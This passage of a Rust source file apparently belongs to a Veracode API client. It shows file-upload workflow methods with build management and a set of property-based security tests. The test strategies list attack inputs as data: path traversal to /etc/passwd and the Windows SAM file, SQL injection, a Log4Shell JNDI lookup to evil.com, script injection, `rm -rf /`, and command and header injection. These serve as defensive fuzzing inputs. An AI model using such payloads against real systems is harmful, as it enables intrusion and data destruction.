1057        // The create operation might still succeed or provide a clearer error
1058        Ok(())
1059    }
1060
1061    /// Upload a large file with automatic build management
1062    ///
1063    /// This method ensures a build exists before attempting to use uploadlargefile.do.
1064    /// If no build exists, it creates one automatically.
1065    ///
1066    /// # Arguments
1067    ///
1068    /// * `app_id` - Application ID (numeric)
1069    /// * `sandbox_id` - Optional sandbox ID (numeric)
1070    /// * `file_path` - Path to the file to upload
1071    /// * `filename` - Optional custom filename for flaw matching
1072    /// * `version` - Optional build version (auto-generated if not provided)
1073    ///
1074    /// # Returns
1075    ///
1076    /// A `Result` containing the uploaded file information or an error.
1077    ///
1078    /// # Errors
1079    ///
1080    /// Returns an error if any step in the workflow fails, including API requests,
1081    /// validation errors, or authentication/authorization failures.
1082    pub async fn upload_large_file_with_build_management(
1083        &self,
1084        app_id: &str,
1085        sandbox_id: Option<&str>,
1086        file_path: &str,
1087        filename: Option<&str>,
1088        version: Option<&str>,
1089    ) -> WorkflowResult<crate::scan::UploadedFile> {
1090        info!("๐Ÿš€ Starting large file upload with build management");
1091        info!("   File: {file_path}");
1092        if let Some(sandbox_id) = sandbox_id {
1093            info!("   Target: Sandbox {sandbox_id}");
1094        } else {
1095            info!("   Target: Application {app_id}");
1096        }
1097
1098        // Step 1: Ensure build exists
1099        let _build = self
1100            .ensure_build_exists(app_id, sandbox_id, version)
1101            .await?;
1102
1103        // Step 2: Upload file using large file API
1104        info!("\n๐Ÿ“ค Uploading file using uploadlargefile.do...");
1105        let scan_api = self.client.scan_api()?;
1106
1107        match scan_api
1108            .upload_large_file(crate::scan::UploadLargeFileRequest {
1109                app_id: app_id.to_string(),
1110                file_path: file_path.to_string(),
1111                filename: filename.map(|s| s.to_string()),
1112                sandbox_id: sandbox_id.map(|s| s.to_string()),
1113            })
1114            .await
1115        {
1116            Ok(uploaded_file) => {
1117                info!("   โœ… Large file uploaded successfully:");
1118                info!("      File ID: {}", uploaded_file.file_id);
1119                info!("      File Name: {}", uploaded_file.file_name);
1120                info!("      Size: {} bytes", uploaded_file.file_size);
1121                Ok(uploaded_file)
1122            }
1123            Err(e) => {
1124                info!("   โŒ Large file upload failed: {e}");
1125                Err(WorkflowError::Scan(e))
1126            }
1127        }
1128    }
1129
1130    /// Upload a large file with progress tracking and build management
1131    ///
1132    /// This method ensures a build exists before attempting to use uploadlargefile.do
1133    /// and provides progress tracking capabilities.
1134    ///
1135    /// # Arguments
1136    ///
1137    /// * `app_id` - Application ID (numeric)
1138    /// * `sandbox_id` - Optional sandbox ID (numeric)
1139    /// * `file_path` - Path to the file to upload
1140    /// * `filename` - Optional custom filename for flaw matching
1141    /// * `version` - Optional build version (auto-generated if not provided)
1142    /// * `progress_callback` - Callback function for progress updates
1143    ///
1144    /// # Returns
1145    ///
1146    /// A `Result` containing the uploaded file information or an error.
1147    ///
1148    /// # Errors
1149    ///
1150    /// Returns an error if any step in the workflow fails, including API requests,
1151    /// validation errors, or authentication/authorization failures.
1152    pub async fn upload_large_file_with_progress_and_build_management<F>(
1153        &self,
1154        app_id: &str,
1155        sandbox_id: Option<&str>,
1156        file_path: &str,
1157        filename: Option<&str>,
1158        version: Option<&str>,
1159        progress_callback: F,
1160    ) -> WorkflowResult<crate::scan::UploadedFile>
1161    where
1162        F: Fn(u64, u64, f64) + Send + Sync,
1163    {
1164        info!("๐Ÿš€ Starting large file upload with progress tracking and build management");
1165        info!("   File: {file_path}");
1166
1167        // Step 1: Ensure build exists
1168        let _build = self
1169            .ensure_build_exists(app_id, sandbox_id, version)
1170            .await?;
1171
1172        // Step 2: Upload file with progress tracking
1173        info!("\n๐Ÿ“ค Uploading file with progress tracking...");
1174        let scan_api = self.client.scan_api()?;
1175
1176        match scan_api
1177            .upload_large_file_with_progress(
1178                crate::scan::UploadLargeFileRequest {
1179                    app_id: app_id.to_string(),
1180                    file_path: file_path.to_string(),
1181                    filename: filename.map(|s| s.to_string()),
1182                    sandbox_id: sandbox_id.map(|s| s.to_string()),
1183                },
1184                progress_callback,
1185            )
1186            .await
1187        {
1188            Ok(uploaded_file) => {
1189                info!("   โœ… Large file uploaded successfully with progress tracking");
1190                Ok(uploaded_file)
1191            }
1192            Err(e) => {
1193                info!("   โŒ Large file upload with progress failed: {e}");
1194                Err(WorkflowError::Scan(e))
1195            }
1196        }
1197    }
1198
1199    /// Complete file upload workflow with intelligent endpoint selection and build management
1200    ///
1201    /// This method automatically chooses between uploadfile.do and uploadlargefile.do
1202    /// based on file size and ensures builds exist when needed.
1203    ///
1204    /// # Arguments
1205    ///
1206    /// * `app_id` - Application ID (numeric)
1207    /// * `sandbox_id` - Optional sandbox ID (numeric)
1208    /// * `file_path` - Path to the file to upload
1209    /// * `filename` - Optional custom filename
1210    /// * `version` - Optional build version
1211    ///
1212    /// # Returns
1213    ///
1214    /// A `Result` containing the uploaded file information or an error.
1215    ///
1216    /// # Errors
1217    ///
1218    /// Returns an error if any step in the workflow fails, including API requests,
1219    /// validation errors, or authentication/authorization failures.
1220    pub async fn upload_file_with_smart_build_management(
1221        &self,
1222        app_id: &str,
1223        sandbox_id: Option<&str>,
1224        file_path: &str,
1225        filename: Option<&str>,
1226        version: Option<&str>,
1227    ) -> WorkflowResult<crate::scan::UploadedFile> {
1228        // Check file size to determine upload strategy
1229        let file_metadata = tokio::fs::metadata(file_path)
1230            .await
1231            .map_err(|e| WorkflowError::Workflow(format!("Cannot access file {file_path}: {e}")))?;
1232
1233        let file_size = file_metadata.len();
1234        const LARGE_FILE_THRESHOLD: u64 = 100 * 1024 * 1024; // 100MB
1235
1236        info!("๐Ÿ” File size: {file_size} bytes");
1237
1238        if file_size > LARGE_FILE_THRESHOLD {
1239            info!("๐Ÿ“ฆ Using large file upload (uploadlargefile.do) with build management");
1240            self.upload_large_file_with_build_management(
1241                app_id, sandbox_id, file_path, filename, version,
1242            )
1243            .await
1244        } else {
1245            info!("๐Ÿ“ฆ Using standard file upload (uploadfile.do)");
1246            let scan_api = self.client.scan_api()?;
1247
1248            match scan_api
1249                .upload_file(&crate::scan::UploadFileRequest {
1250                    app_id: app_id.to_string(),
1251                    file_path: file_path.to_string(),
1252                    save_as: filename.map(|s| s.to_string()),
1253                    sandbox_id: sandbox_id.map(|s| s.to_string()),
1254                })
1255                .await
1256            {
1257                Ok(uploaded_file) => {
1258                    info!("   โœ… File uploaded successfully via uploadfile.do");
1259                    Ok(uploaded_file)
1260                }
1261                Err(e) => {
1262                    info!("   โŒ Standard upload failed: {e}");
1263                    Err(WorkflowError::Scan(e))
1264                }
1265            }
1266        }
1267    }
1268
1269    /// Get or create a build for upload operations
1270    ///
1271    /// This is a convenience method that handles the build dependency for upload operations.
1272    ///
1273    /// # Arguments
1274    ///
1275    /// * `app_id` - Application ID (numeric)
1276    /// * `sandbox_id` - Optional sandbox ID (numeric)
1277    /// * `version` - Optional build version
1278    ///
1279    /// # Returns
1280    ///
1281    /// A `Result` containing the build information or an error.
1282    ///
1283    /// # Errors
1284    ///
1285    /// Returns an error if any step in the workflow fails, including API requests,
1286    /// validation errors, or authentication/authorization failures.
1287    pub async fn get_or_create_build(
1288        &self,
1289        app_id: &str,
1290        sandbox_id: Option<&str>,
1291        version: Option<&str>,
1292    ) -> WorkflowResult<Build> {
1293        self.ensure_build_exists(app_id, sandbox_id, version).await
1294    }
1295}
1296
1297#[cfg(test)]
1298mod tests {
1299    use super::*;
1300    use proptest::prelude::*;
1301
1302    #[test]
1303    fn test_workflow_config_builder() {
1304        let config = WorkflowConfig::new("MyApp".to_string(), "MySandbox".to_string())
1305            .with_business_criticality(BusinessCriticality::High)
1306            .with_app_description("Test application".to_string())
1307            .with_file("test.jar".to_string())
1308            .with_auto_scan(false);
1309
1310        assert_eq!(config.app_name, "MyApp");
1311        assert_eq!(config.sandbox_name, "MySandbox");
1312        assert_eq!(
1313            config.business_criticality as i32,
1314            BusinessCriticality::High as i32
1315        );
1316        assert_eq!(config.app_description, Some("Test application".to_string()));
1317        assert_eq!(config.file_paths, vec!["test.jar"]);
1318        assert!(!config.auto_scan);
1319    }
1320
1321    #[test]
1322    fn test_workflow_error_display() {
1323        let error = WorkflowError::NotFound("Application not found".to_string());
1324        assert_eq!(error.to_string(), "Not found: Application not found");
1325
1326        let error = WorkflowError::AccessDenied("Permission denied".to_string());
1327        assert_eq!(error.to_string(), "Access denied: Permission denied");
1328
1329        let error = WorkflowError::Workflow("Custom error".to_string());
1330        assert_eq!(error.to_string(), "Workflow error: Custom error");
1331    }
1332
1333    // ============================================================================
1334    // SECURITY PROPERTY-BASED TESTS
1335    // ============================================================================
1336
1337    /// Strategy for generating valid application/sandbox names
1338    /// Allows alphanumeric, spaces, hyphens, underscores
1339    fn valid_name_strategy() -> impl Strategy<Value = String> {
1340        r"[a-zA-Z0-9 _-]{1,200}".prop_map(|s| s.trim().to_string())
1341    }
1342
1343    /// Strategy for generating path traversal attack strings
1344    fn path_traversal_strategy() -> impl Strategy<Value = String> {
1345        prop_oneof![
1346            Just("../".to_string()),
1347            Just("..\\".to_string()),
1348            Just("../../etc/passwd".to_string()),
1349            Just("..\\..\\windows\\system32".to_string()),
1350            Just("/etc/passwd".to_string()),
1351            Just("C:\\Windows\\System32\\config\\sam".to_string()),
1352            Just("....//....//".to_string()),
1353            Just("..%2F..%2F".to_string()),
1354            Just("%2e%2e%2f".to_string()),
1355            Just("..;/".to_string()),
1356        ]
1357    }
1358
1359    /// Strategy for generating injection attack strings
1360    fn injection_attack_strategy() -> impl Strategy<Value = String> {
1361        prop_oneof![
1362            Just("'; DROP TABLE apps; --".to_string()),
1363            Just("admin' OR '1'='1".to_string()),
1364            Just("${jndi:ldap://evil.com/a}".to_string()),
1365            Just("{{7*7}}".to_string()),
1366            Just("<script>alert('XSS')</script>".to_string()),
1367            Just("\0null\0byte".to_string()),
1368            Just("&admin=true".to_string()),
1369            Just("?param=value".to_string()),
1370            Just("`rm -rf /`".to_string()),
1371            Just("$(whoami)".to_string()),
1372            Just("\n\rHTTP/1.1 200 OK\n\r".to_string()),
1373        ]
1374    }
1375
1376    /// Strategy for generating oversized strings
1377    fn oversized_string_strategy() -> impl Strategy<Value = String> {
1378        (1000..10000usize).prop_map(|size| "A".repeat(size))
1379    }
1380
1381    /// Strategy for generating control characters
1382    fn control_char_strategy() -> impl Strategy<Value = String> {
1383        prop_oneof![
1384            Just("\x00".to_string()),
1385            Just("\x01\x02\x03".to_string()),
1386            Just("\x7F".to_string()),
1387            Just("\u{FEFF}".to_string()), // BOM
1388            Just("\u{200B}".to_string()), // Zero-width space
1389        ]
1390    }
1391
1392    proptest! {
1393        #![proptest_config(ProptestConfig {
1394            cases: if cfg!(miri) { 5 } else { 1000 },
1395            failure_persistence: None,
1396            .. ProptestConfig::default()
1397        })]
1398
1399        // ========================================================================
1400        // WorkflowConfig Security Tests
1401        // ========================================================================
1402
1403        /// Property: Valid names are accepted in WorkflowConfig
1404        #[test]
1405        fn prop_workflow_config_accepts_valid_names(
1406            app_name in valid_name_strategy(),
1407            sandbox_name in valid_name_strategy()
1408        ) {
1409            let config = WorkflowConfig::new(app_name.clone(), sandbox_name.clone());
1410            prop_assert_eq!(&config.app_name, &app_name);
1411            prop_assert_eq!(&config.sandbox_name, &sandbox_name);
1412        }
1413
1414        /// Property: Path traversal in file paths should be detected
1415        /// This test ensures that file paths containing path traversal patterns
1416        /// are stored as-is (for validation at upload time)
1417        #[test]
1418        fn prop_workflow_config_stores_file_paths(
1419            traversal in path_traversal_strategy()
1420        ) {
1421            let config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string())
1422                .with_file(traversal.clone());
1423            // Files are stored as-is; actual validation happens during upload
1424            prop_assert_eq!(&config.file_paths, &vec![traversal]);
1425        }
1426
1427        /// Property: Multiple files can be added without overflow
1428        #[test]
1429        fn prop_workflow_config_handles_multiple_files(
1430            file_count in 1..100usize
1431        ) {
1432            let mut config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string());
1433            let files: Vec<String> = (0..file_count)
1434                .map(|i| format!("file{}.jar", i))
1435                .collect();
1436
1437            config = config.with_files(files.clone());
1438            prop_assert_eq!(config.file_paths.len(), file_count);
1439        }
1440
1441        /// Property: Injection attacks in names are stored as-is
1442        /// (Backend validation is responsible for sanitization)
1443        #[test]
1444        fn prop_workflow_config_stores_injection_attempts(
1445            injection in injection_attack_strategy()
1446        ) {
1447            let config = WorkflowConfig::new(injection.clone(), "Sandbox".to_string());
1448            prop_assert_eq!(&config.app_name, &injection);
1449        }
1450
1451        /// Property: Oversized strings are handled without panic
1452        #[test]
1453        fn prop_workflow_config_handles_oversized_strings(
1454            oversized in oversized_string_strategy()
1455        ) {
1456            let config = WorkflowConfig::new(oversized.clone(), "Sandbox".to_string());
1457            prop_assert_eq!(&config.app_name, &oversized);
1458            // Config stores the value; API will reject if too large
1459        }
1460
1461        /// Property: Control characters in input are preserved
1462        #[test]
1463        fn prop_workflow_config_preserves_control_chars(
1464            control_chars in control_char_strategy()
1465        ) {
1466            let config = WorkflowConfig::new(
1467                format!("App{}", control_chars),
1468                "Sandbox".to_string()
1469            );
1470            prop_assert!(config.app_name.contains(&control_chars));
1471        }
1472
1473        /// Property: Builder pattern preserves immutability semantics
1474        #[test]
1475        fn prop_workflow_config_builder_immutability(
1476            desc1 in r"[a-zA-Z ]{1,50}",
1477            desc2 in r"[a-zA-Z ]{1,50}"
1478        ) {
1479            let config1 = WorkflowConfig::new("App".to_string(), "Sandbox".to_string())
1480                .with_app_description(desc1.clone());
1481            let config2 = config1.clone().with_app_description(desc2.clone());
1482
1483            prop_assert_eq!(config1.app_description.as_deref(), Some(desc1.as_str()));
1484            prop_assert_eq!(config2.app_description.as_deref(), Some(desc2.as_str()));
1485        }
1486
1487        /// Property: Empty file paths collection is valid
1488        #[test]
1489        fn prop_workflow_config_allows_empty_files(
1490            auto_scan in proptest::bool::ANY
1491        ) {
1492            let config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string())
1493                .with_auto_scan(auto_scan);
1494            prop_assert!(config.file_paths.is_empty());
1495        }
1496
1497        // ========================================================================
1498        // WorkflowError Security Tests
1499        // ========================================================================
1500
1501        /// Property: Error messages don't expose sensitive data patterns
1502        #[test]
1503        fn prop_workflow_error_no_sensitive_exposure(
1504            msg in r"[a-zA-Z0-9 ]{1,100}"
1505        ) {
1506            let errors = vec![
1507                WorkflowError::NotFound(msg.clone()),
1508                WorkflowError::AccessDenied(msg.clone()),
1509                WorkflowError::Workflow(msg.clone()),
1510            ];
1511
1512            for error in errors {
1513                let display = error.to_string();
1514                // Ensure error messages are properly prefixed
1515                prop_assert!(
1516                    display.contains("Not found:") ||
1517                    display.contains("Access denied:") ||
1518                    display.contains("Workflow error:")
1519                );
1520            }
1521        }
1522
1523        /// Property: Error conversion preserves error type
1524        #[test]
1525        fn prop_workflow_error_from_conversions(
1526            msg in r"[a-zA-Z0-9 ]{1,100}"
1527        ) {
1528            let veracode_err = VeracodeError::InvalidResponse(msg.clone());
1529            let workflow_err: WorkflowError = veracode_err.into();
1530            #[allow(clippy::wildcard_enum_match_arm)]
1531            match workflow_err {
1532                WorkflowError::Api(_) => {
1533                    // Expected conversion
1534                },
1535                _ => prop_assert!(false, "Unexpected error variant"),
1536            }
1537        }
1538
1539        // ========================================================================
1540        // Input Validation Security Tests
1541        // ========================================================================
1542
1543        /// Property: Application names with special characters are preserved
1544        #[test]
1545        fn prop_app_name_special_chars_preserved(
1546            prefix in r"[a-zA-Z]{1,20}",
1547            special in r"[!@#$%^&*()+=\[\]:;<>,.?/|`~]{1,5}"
1548        ) {
1549            let app_name = format!("{}{}", prefix, special);
1550            let config = WorkflowConfig::new(app_name.clone(), "Sandbox".to_string());
1551            prop_assert_eq!(&config.app_name, &app_name);
1552        }
1553
1554        /// Property: Sandbox names can contain valid punctuation
1555        #[test]
1556        fn prop_sandbox_name_punctuation(
1557            base in r"[a-zA-Z]{1,20}",
1558            separator in r"[ _-]{1,3}"
1559        ) {
1560            let sandbox_name = format!("{}{}test", base, separator);
1561            let config = WorkflowConfig::new("App".to_string(), sandbox_name.clone());
1562            prop_assert_eq!(&config.sandbox_name, &sandbox_name);
1563        }
1564
1565        /// Property: File paths are accumulated correctly
1566        #[test]
1567        fn prop_file_paths_accumulation(
1568            count in 1..50usize,
1569            base_name in r"[a-zA-Z0-9_-]{1,20}"
1570        ) {
1571            let mut config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string());
1572
1573            for i in 0..count {
1574                let file_path = format!("{}{}.jar", base_name, i);
1575                config = config.with_file(file_path);
1576            }
1577
1578            prop_assert_eq!(config.file_paths.len(), count);
1579        }
1580
1581        /// Property: Descriptions can contain Unicode
1582        #[test]
1583        fn prop_description_unicode_support(
1584            unicode in r"[\u{0080}-\u{00FF}]{1,50}"
1585        ) {
1586            let config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string())
1587                .with_app_description(unicode.clone());
1588            prop_assert_eq!(config.app_description.as_deref(), Some(unicode.as_str()));
1589        }
1590
1591        // ========================================================================
1592        // State Consistency Tests
1593        // ========================================================================
1594
1595        /// Property: Default values are consistent
1596        #[test]
1597        fn prop_workflow_config_default_consistency(
1598            app_name in valid_name_strategy(),
1599            sandbox_name in valid_name_strategy()
1600        ) {
1601            let config = WorkflowConfig::new(app_name, sandbox_name);
1602
1603            prop_assert_eq!(config.business_criticality as i32, BusinessCriticality::Medium as i32);
1604            prop_assert_eq!(config.app_description, None);
1605            prop_assert_eq!(config.sandbox_description, None);
1606            prop_assert!(config.file_paths.is_empty());
1607            prop_assert!(config.auto_scan);
1608            prop_assert!(config.scan_all_modules);
1609        }
1610
1611        /// Property: Boolean flags are independent
1612        #[test]
1613        fn prop_workflow_config_boolean_independence(
1614            auto_scan in proptest::bool::ANY,
1615            scan_all_modules in proptest::bool::ANY
1616        ) {
1617            let config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string())
1618                .with_auto_scan(auto_scan)
1619                .with_scan_all_modules(scan_all_modules);
1620
1621            prop_assert_eq!(config.auto_scan, auto_scan);
1622            prop_assert_eq!(config.scan_all_modules, scan_all_modules);
1623        }
1624
1625        // ========================================================================
1626        // Boundary Condition Tests
1627        // ========================================================================
1628
1629        /// Property: Empty string names are handled
1630        #[test]
1631        fn prop_workflow_config_empty_names(
1632            name in r"\s*"
1633        ) {
1634            let config = WorkflowConfig::new(name.clone(), "Sandbox".to_string());
1635            prop_assert_eq!(&config.app_name, &name);
1636        }
1637
1638        /// Property: Maximum realistic file count doesn't cause issues
1639        #[test]
1640        fn prop_workflow_config_max_files(
1641            count in 1..1000usize
1642        ) {
1643            let files: Vec<String> = (0..count)
1644                .map(|i| format!("f{}.jar", i))
1645                .collect();
1646
1647            let config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string())
1648                .with_files(files);
1649
1650            prop_assert_eq!(config.file_paths.len(), count);
1651        }
1652
1653        /// Property: All BusinessCriticality values are valid
1654        #[test]
1655        fn prop_workflow_config_all_criticality_levels(
1656            level in 0..5u8
1657        ) {
1658            let criticality = match level {
1659                0 => BusinessCriticality::VeryHigh,
1660                1 => BusinessCriticality::High,
1661                2 => BusinessCriticality::Medium,
1662                3 => BusinessCriticality::Low,
1663                _ => BusinessCriticality::VeryLow,
1664            };
1665
1666            let config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string())
1667                .with_business_criticality(criticality);
1668
1669            prop_assert_eq!(config.business_criticality as i32, criticality as i32);
1670        }
1671
1672        // ========================================================================
1673        // WorkflowResultData Validation Tests
1674        // ========================================================================
1675
1676        /// Property: File count is always non-negative and bounded
1677        #[test]
1678        fn prop_workflow_result_files_uploaded_bounds(
1679            files_uploaded in 0..10000usize
1680        ) {
1681            // Verify that files_uploaded counter doesn't overflow
1682            // This test ensures the counter can handle realistic file counts
1683            prop_assert!(files_uploaded < usize::MAX);
1684
1685            // Simulate accumulation without overflow
1686            let accumulated = files_uploaded.saturating_add(1);
1687            prop_assert!(accumulated > files_uploaded || files_uploaded == usize::MAX);
1688        }
1689    }
1690}
1691
1692#[cfg(kani)]
1693mod kani_proofs {
1694    use super::*;
1695
1696    /// Verify that file count accumulation cannot overflow
1697    #[kani::proof]
1698    #[kani::unwind(10)]
1699    fn verify_file_count_no_overflow() {
1700        let initial_count: usize = kani::any();
1701        kani::assume(initial_count < 1000);
1702
1703        let mut config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string());
1704
1705        // Simulate adding files
1706        for i in 0..10 {
1707            let file = format!("file{}.jar", i);
1708            config = config.with_file(file);
1709        }
1710
1711        // Verify count is correct and no overflow occurred
1712        assert!(config.file_paths.len() == 10);
1713    }
1714
1715    /// Verify that builder pattern maintains consistency
1716    #[kani::proof]
1717    fn verify_builder_consistency() {
1718        let app_name = String::from("TestApp");
1719        let sandbox_name = String::from("TestSandbox");
1720
1721        let config1 = WorkflowConfig::new(app_name.clone(), sandbox_name.clone());
1722        let config2 = config1
1723            .clone()
1724            .with_auto_scan(false)
1725            .with_scan_all_modules(false);
1726
1727        // Original config should be unchanged (consumed by builder)
1728        assert_eq!(config1.auto_scan, true);
1729        assert_eq!(config2.auto_scan, false);
1730    }
1731
1732    /// Verify deletion policy bounds checking
1733    #[kani::proof]
1734    fn verify_deletion_policy_bounds() {
1735        let policy: u8 = kani::any();
1736
1737        // Deletion policy should be 0, 1, or 2
1738        if policy <= 2 {
1739            // Valid policy - should be usable
1740            assert!(policy == 0 || policy == 1 || policy == 2);
1741        } else {
1742            // Invalid policy - calling code should validate
1743            // This proof documents the expected range
1744            assert!(policy > 2);
1745        }
1746    }
1747
1748    /// Verify error conversion preserves type safety
1749    #[kani::proof]
1750    fn verify_error_conversion_type_safety() {
1751        let msg = String::from("test error");
1752        let veracode_err = VeracodeError::InvalidResponse(msg);
1753        let workflow_err: WorkflowError = veracode_err.into();
1754
1755        // Verify conversion produces Api variant
1756        match workflow_err {
1757            WorkflowError::Api(_) => {}
1758            _ => unreachable!("Should always convert to Api variant"),
1759        }
1760    }
1761}